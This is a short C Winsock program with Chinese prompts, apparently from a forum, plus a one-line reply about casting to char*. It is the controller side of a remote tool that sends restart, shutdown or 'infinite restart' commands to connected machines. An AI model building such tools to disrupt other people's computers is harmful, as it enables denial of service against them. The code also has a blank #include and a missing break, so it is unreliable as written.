#include
#pragma comment(lib,"ws2_32.lib")
int main()
{
WSADATA wd;
WSAStartup(MAKEWORD(2,2), &wd);
SOCKET sockserv = socket(AF_INET, SOCK_STREAM, 0);
SOCKADDR_IN addrserv;
addrserv.sin_addr.S_un.S_addr = htonl(INADDR_ANY);
addrserv.sin_family = AF_INET;
addrserv.sin_port = htons(10010);
bind(sockserv, (SOCKADDR*)&addrserv, sizeof(SOCKADDR));
listen(sockserv, 5);
while (1)
{
SOCKADDR_IN addrClient;
int length = sizeof(addrClient);
SOCKET sockConn = accept(sockserv, (SOCKADDR*)&addrClient, &length);
printf("客户端:%s:%d连接了服务器\n", inet_ntoa(addrClient.sin_addr), addrClient.sin_port);
printf("请输入控制命令\n");
printf("1.重启\n");
printf("2.关机\n");
printf("3.无限重启\n");
printf("请输入控制编号(1-3);\n");
int nCmd;
scanf_s("%d", &nCmd);
switch (nCmd)
{
case 1:
case 2:
case 3:
send(sockConn,& nCmd, sizeof(nCmd), 0);
default:
printf("你的输入有误\n");
break;
}
}
}
强制转换成char * 就行了